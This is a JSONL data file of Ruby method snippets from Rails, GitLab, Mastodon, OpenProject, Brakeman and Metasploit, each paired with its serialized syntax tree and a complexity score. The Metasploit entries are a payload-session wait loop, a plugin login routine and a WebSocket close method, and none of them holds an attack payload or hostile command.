{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/finder_test.rb","start_line":1535,"raw_source":"def test_hash_condition_find_nil_with_aggregate_having_multiple_mappings\n    customers(:david).update(address: nil)\n    assert_nil customers(:david).address_street\n    assert_nil customers(:david).address_city\n    found_customer = Customer.where(address: nil, name: customers(:david).name).first\n    assert_equal customers(:david), found_customer\n  end","complexity_score":17.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_hash_condition_find_nil_with_aggregate_having_multiple_mappings\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"customers\",{\"type\":\"sym\",\"children\":[\"david\"]}]},\"update\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"address\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"customers\",{\"type\":\"sym\",\"children\":[\"david\"]}]},\"address_street\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"customers\",{\"type\":\"sym\",\"children\":[\"david\"]}]},\"address_city\"]}]},{\"type\":\"lvasgn\",\"children\":[\"found_customer\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Customer\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"address\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"customers\",{\"type\":\"sym\",\"children\":[\"david\"]}]},\"name\"]}]}]}]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[null,\"customers\",{\"type\":\"sym\",\"children\":[\"david\"]}]},{\"type\":\"lvar\",\"children\":[\"found_customer\"]}]}]}]}","id":"4257f6be-0a79-4ff4-98be-9001b5d1d7c5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/members/invitation_reminder_email_service.rb","start_line":29,"raw_source":"def days_on_which_to_send_reminders\n      # Don't send any reminders if the invitation has expired or expires today\n      return [] if invitation.expires_at && invitation.expires_at <= Date.today\n\n      # Calculate the number of days on which to send reminders based on the MAX_INVITATION_LIFESPAN and the REMINDER_RATIO\n      REMINDER_RATIO.map { |number_of_days| ((number_of_days * invitation_lifespan_in_days) / MAX_INVITATION_LIFESPAN).ceil }.uniq\n    end","complexity_score":19.4,"ast_json":"{\"type\":\"def\",\"children\":[\"days_on_which_to_send_reminders\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"invitation\"]},\"expires_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"invitation\"]},\"expires_at\"]},\"<=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"today\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REMINDER_RATIO\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"number_of_days\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number_of_days\"]},\"*\",{\"type\":\"send\",\"children\":[null,\"invitation_lifespan_in_days\"]}]}]},\"/\",{\"type\":\"const\",\"children\":[null,\"MAX_INVITATION_LIFESPAN\"]}]}]},\"ceil\"]}]},\"uniq\"]}]}]}","id":"c69a8839-f50c-42bb-9b78-3ffa768c545e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/huawei_hg532n_cmdinject.rb","start_line":503,"raw_source":"def wait_for_payload_session\n    print_status \"Waiting for the payload to connect back ..\"\n    begin\n      Timeout.timeout(datastore['ListenerTimeout']) do\n        loop do\n          break if session_created?\n\n          Rex.sleep(0.25)\n        end\n      end\n    rescue ::Timeout::Error\n      fail_with(Failure::Unknown, \"Timeout waiting for payload to start/connect-back\")\n    end\n    print_good \"Payload connected!\"\n  end","complexity_score":16.1,"ast_json":"{\"type\":\"def\",\"children\":[\"wait_for_payload_session\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Waiting for the payload to connect back ..\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Timeout\"]},\"timeout\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ListenerTimeout\"]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"loop\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session_created?\"]},{\"type\":\"break\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"sleep\",{\"type\":\"float\",\"children\":[0.25]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Timeout\"]},\"Error\"]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"Timeout waiting for payload to start/connect-back\"]}]}]},null]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Payload connected!\"]}]}]}]}","id":"e250caa3-29d9-4d1d-b843-ec9c8f19f530"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/base/config.rb","start_line":174,"raw_source":"def self.user_logos_directory\n    self.new.user_logos_directory\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"user_logos_directory\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"new\"]},\"user_logos_directory\"]}]}","id":"219a6215-ca4c-4d02-aca7-1430802ceda5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/path_regex.rb","start_line":182,"raw_source":"def project_route_regex\n      @project_route_regex ||= begin\n        illegal_words = Regexp.new(Regexp.union(ILLEGAL_PROJECT_PATH_WORDS).source, Regexp::IGNORECASE)\n\n        single_line_regexp %r{\n          (?!(#{illegal_words})/)\n          #{PROJECT_PATH_FORMAT_REGEX}\n        }x\n      end\n    end","complexity_score":7.1,"ast_json":"{\"type\":\"def\",\"children\":[\"project_route_regex\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@project_route_regex\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"illegal_words\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"union\",{\"type\":\"const\",\"children\":[null,\"ILLEGAL_PROJECT_PATH_WORDS\"]}]},\"source\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"IGNORECASE\"]}]}]},{\"type\":\"send\",\"children\":[null,\"single_line_regexp\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          (?!(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"illegal_words\"]}]},{\"type\":\"str\",\"children\":[\")/)\\n\"]},{\"type\":\"str\",\"children\":[\"          \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PROJECT_PATH_FORMAT_REGEX\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]},{\"type\":\"regopt\",\"children\":[\"x\"]}]}]}]}]}]}","id":"3128c2bc-5e9b-448f-9902-4f13aaaac187"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/concerns/localized.rb","start_line":27,"raw_source":"def available_locale_or_nil(locale_name)\n    locale_name.to_sym if locale_name.respond_to?(:to_sym) && I18n.available_locales.include?(locale_name.to_sym)\n  end","complexity_score":7.9,"ast_json":"{\"type\":\"def\",\"children\":[\"available_locale_or_nil\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"locale_name\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"locale_name\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"to_sym\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"available_locales\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"locale_name\"]},\"to_sym\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"locale_name\"]},\"to_sym\"]},null]}]}","id":"f2906d2c-ee5e-4b9d-9cba-d3c08b0802e4"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/plugins/aggregator.rb","start_line":369,"raw_source":"def aggregator_login\n        if !((@host && !@host.empty?) && (@port && !@port.empty? && @port.to_i > 0))\n          usage_connect\n          return\n        end\n\n        if (@host != 'localhost') && (@host != '127.0.0.1')\n          print_error('Warning: SSL connections are not verified in this release, it is possible for an attacker')\n          print_error('         with the ability to man-in-the-middle the Aggregator traffic to capture the Aggregator')\n          print_error('         traffic, if you are running this on an untrusted network.')\n          return\n        end\n\n        # Wrap this so a duplicate session does not prevent access\n        begin\n          cmd_aggregator_disconnect\n        rescue ::Interrupt => e\n          raise e\n        rescue ::Exception\n        end\n\n        begin\n          print_status(\"Connecting to Aggregator instance at #{@host}:#{@port}...\")\n          @aggregator = Metasploit::Aggregator::ServerProxy.new(@host, @port)\n        end\n\n        aggregator_compatibility_check\n\n        unless @payload_job_ids\n          @payload_job_ids = []\n          @my_io = local_handler\n        end\n\n        @aggregator.register_response_channel(@my_io)\n        @aggregator\n      end","complexity_score":39.8,"ast_json":"{\"type\":\"def\",\"children\":[\"aggregator_login\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@host\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@host\"]},\"empty?\"]},\"!\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@port\"]},\"empty?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@port\"]},\"to_i\"]},\">\",{\"type\":\"int\",\"children\":[0]}]}]}]}]}]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"usage_connect\"]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@host\"]},\"!=\",{\"type\":\"str\",\"children\":[\"localhost\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@host\"]},\"!=\",{\"type\":\"str\",\"children\":[\"127.0.0.1\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Warning: SSL connections are not verified in this release, it is possible for an attacker\"]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"         with the ability to man-in-the-middle the Aggregator traffic to capture the Aggregator\"]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"         traffic, if you are running this on an untrusted network.\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cmd_aggregator_disconnect\"]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Interrupt\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Exception\"]}]},null,null]},null]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Connecting to Aggregator instance at \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@host\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@port\"]}]},{\"type\":\"str\",\"children\":[\"...\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@aggregator\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Aggregator\"]},\"ServerProxy\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@host\"]},{\"type\":\"ivar\",\"children\":[\"@port\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"aggregator_compatibility_check\"]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@payload_job_ids\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@payload_job_ids\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@my_io\",{\"type\":\"send\",\"children\":[null,\"local_handler\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@aggregator\"]},\"register_response_channel\",{\"type\":\"ivar\",\"children\":[\"@my_io\"]}]},{\"type\":\"ivar\",\"children\":[\"@aggregator\"]}]}]}","id":"a94e751f-a031-4210-8573-bc9741936f92"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/projects/project_life_cycle/edit_dialog.rb","start_line":129,"raw_source":"def expect_input(label, value: nil, disabled: false, active: false)\n          field_options = { disabled: }\n          if value\n            field_options[:with] = value.respond_to?(:strftime) ? value.strftime(\"%Y-%m-%d\") : value\n          end\n          field_options[:class] = \"op-datepicker-modal--date-field_current\" if active\n\n          within_async_content do\n            expect(page).to have_field(label, **field_options)\n            # Note: This capybara matcher has a bug and it raises an error, if the\n            # label, name and disabled flags are passed at once:\n            #\n            # TypeError: no implicit conversion of XPath::Expression into Integer (TypeError)\n            #   expression_filter(:disabled) { |xpath, val| val ? xpath : xpath[~XPath.attr(:disabled)] }\n            # from ~/.rbenv/versions/3.4.2/lib/ruby/gems/3.4.0/gems/capybara-3.40.0/lib/capybara/selector.rb:448:in 'String#[]'\n            expect(page).to have_field(\n              name: \"project_phase[#{label.parameterize.underscore}]\",\n              **field_options\n            )\n          end\n        end","complexity_score":25.2,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_input\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"label\"]},{\"type\":\"kwoptarg\",\"children\":[\"value\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"disabled\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"active\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"field_options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"disabled\"]},{\"type\":\"lvar\",\"children\":[\"disabled\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field_options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"strftime\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"strftime\",{\"type\":\"str\",\"children\":[\"%Y-%m-%d\"]}]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"active\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field_options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"op-datepicker-modal--date-field_current\"]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within_async_content\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_field\",{\"type\":\"lvar\",\"children\":[\"label\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field_options\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_field\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"project_phase[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"label\"]},\"parameterize\"]},\"underscore\"]}]},{\"type\":\"str\",\"children\":[\"]\"]}]}]},{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field_options\"]}]}]}]}]}]}]}]}]}","id":"419103de-c7a2-47f9-87af-0b2fcfef37bc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/instance_configuration.rb","start_line":29,"raw_source":"def ssh_algorithms_hashes\n    SSH_ALGORITHMS.select { |algo| ssh_algorithm_enabled?(algo) }.map { |algo| ssh_algorithm_hashes(algo) }.compact\n  end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"ssh_algorithms_hashes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SSH_ALGORITHMS\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"algo\"]}]},{\"type\":\"send\",\"children\":[null,\"ssh_algorithm_enabled?\",{\"type\":\"lvar\",\"children\":[\"algo\"]}]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"algo\"]}]},{\"type\":\"send\",\"children\":[null,\"ssh_algorithm_hashes\",{\"type\":\"lvar\",\"children\":[\"algo\"]}]}]},\"compact\"]}]}","id":"57266a3a-9e69-4f27-8af3-c4d67e99479d"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/shares/manage_shares_component.rb","start_line":130,"raw_source":"def apply_role_filter(option)\n      current_role_filter_value = current_filter_value(params[:filters], \"role_id\")\n      filter = []\n\n      if option.nil? && current_role_filter_value.present?\n        # When there is already a role filter set and no new value passed, we want to keep that filter\n        filter = role_filter_for({ value: current_role_filter_value })\n      elsif option.present? && !role_filter_option_active?(option)\n        # Only when the passed filter option is not the currently selected one, we apply the filter\n        filter = role_filter_for(option)\n      end\n\n      filter\n    end","complexity_score":20.4,"ast_json":"{\"type\":\"def\",\"children\":[\"apply_role_filter\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"option\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"current_role_filter_value\",{\"type\":\"send\",\"children\":[null,\"current_filter_value\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"filters\"]}]},{\"type\":\"str\",\"children\":[\"role_id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"filter\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"option\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_role_filter_value\"]},\"present?\"]}]},{\"type\":\"lvasgn\",\"children\":[\"filter\",{\"type\":\"send\",\"children\":[null,\"role_filter_for\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"lvar\",\"children\":[\"current_role_filter_value\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"option\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"role_filter_option_active?\",{\"type\":\"lvar\",\"children\":[\"option\"]}]},\"!\"]}]},{\"type\":\"lvasgn\",\"children\":[\"filter\",{\"type\":\"send\",\"children\":[null,\"role_filter_for\",{\"type\":\"lvar\",\"children\":[\"option\"]}]}]},null]}]},{\"type\":\"lvar\",\"children\":[\"filter\"]}]}]}","id":"1c1ebeba-823b-40f1-906c-3efd4025bcec"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/grids/app/contracts/grids/base_contract.rb","start_line":139,"raw_source":"def widgets_overlap?(widget, other_widget)\n      top_left_inside?(widget, other_widget) ||\n        top_right_inside?(widget, other_widget) ||\n        bottom_left_inside?(widget, other_widget) ||\n        bottom_right_inside?(widget, other_widget)\n    end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"widgets_overlap?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"widget\"]},{\"type\":\"arg\",\"children\":[\"other_widget\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"top_left_inside?\",{\"type\":\"lvar\",\"children\":[\"widget\"]},{\"type\":\"lvar\",\"children\":[\"other_widget\"]}]},{\"type\":\"send\",\"children\":[null,\"top_right_inside?\",{\"type\":\"lvar\",\"children\":[\"widget\"]},{\"type\":\"lvar\",\"children\":[\"other_widget\"]}]}]},{\"type\":\"send\",\"children\":[null,\"bottom_left_inside?\",{\"type\":\"lvar\",\"children\":[\"widget\"]},{\"type\":\"lvar\",\"children\":[\"other_widget\"]}]}]},{\"type\":\"send\",\"children\":[null,\"bottom_right_inside?\",{\"type\":\"lvar\",\"children\":[\"widget\"]},{\"type\":\"lvar\",\"children\":[\"other_widget\"]}]}]}]}","id":"aebfdadd-5ea2-451f-b9be-9999d2207fe6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/github_import/user_finder.rb","start_line":109,"raw_source":"def source_user_accepted?(user)\n        return true unless user_mapping_enabled?\n        return true if map_to_personal_namespace_owner?\n\n        source_user(user).accepted_status?\n      end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"source_user_accepted?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_mapping_enabled?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"map_to_personal_namespace_owner?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source_user\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},\"accepted_status?\"]}]}]}","id":"74629efb-da75-4d08-b5bd-7a2ae2827b73"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/http/web_socket.rb","start_line":108,"raw_source":"def close_write\n        if closed?\n          raise IOError, 'Channel has been closed.', caller\n        end\n\n        @websocket.put_wsframe(Frame.new(header: { opcode: Opcode::CONNECTION_CLOSE }))\n      end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"close_write\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"closed?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"IOError\"]},{\"type\":\"str\",\"children\":[\"Channel has been closed.\"]},{\"type\":\"send\",\"children\":[null,\"caller\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@websocket\"]},\"put_wsframe\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Frame\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"header\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"opcode\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opcode\"]},\"CONNECTION_CLOSE\"]}]}]}]}]}]}]}]}]}","id":"42168029-c119-4113-8481-45bb3491354a"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/apps/rails5.2/app/controllers/users_controller.rb","start_line":57,"raw_source":"def not_not\n    si = ManualCSVImport.new(header_row: !!params[:header_row], archive: !!params[:archive])\n    @errors = [si.results[:invalid_info], si.results[:ignored_info]].flatten\n  end","complexity_score":21.2,"ast_json":"{\"type\":\"def\",\"children\":[\"not_not\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"si\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ManualCSVImport\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"header_row\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"header_row\"]}]},\"!\"]},\"!\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"archive\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"archive\"]}]},\"!\"]},\"!\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@errors\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"si\"]},\"results\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"invalid_info\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"si\"]},\"results\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ignored_info\"]}]}]},\"flatten\"]}]}]}]}","id":"a952f54a-f72f-4a25-9844-5ce29d850a82"}
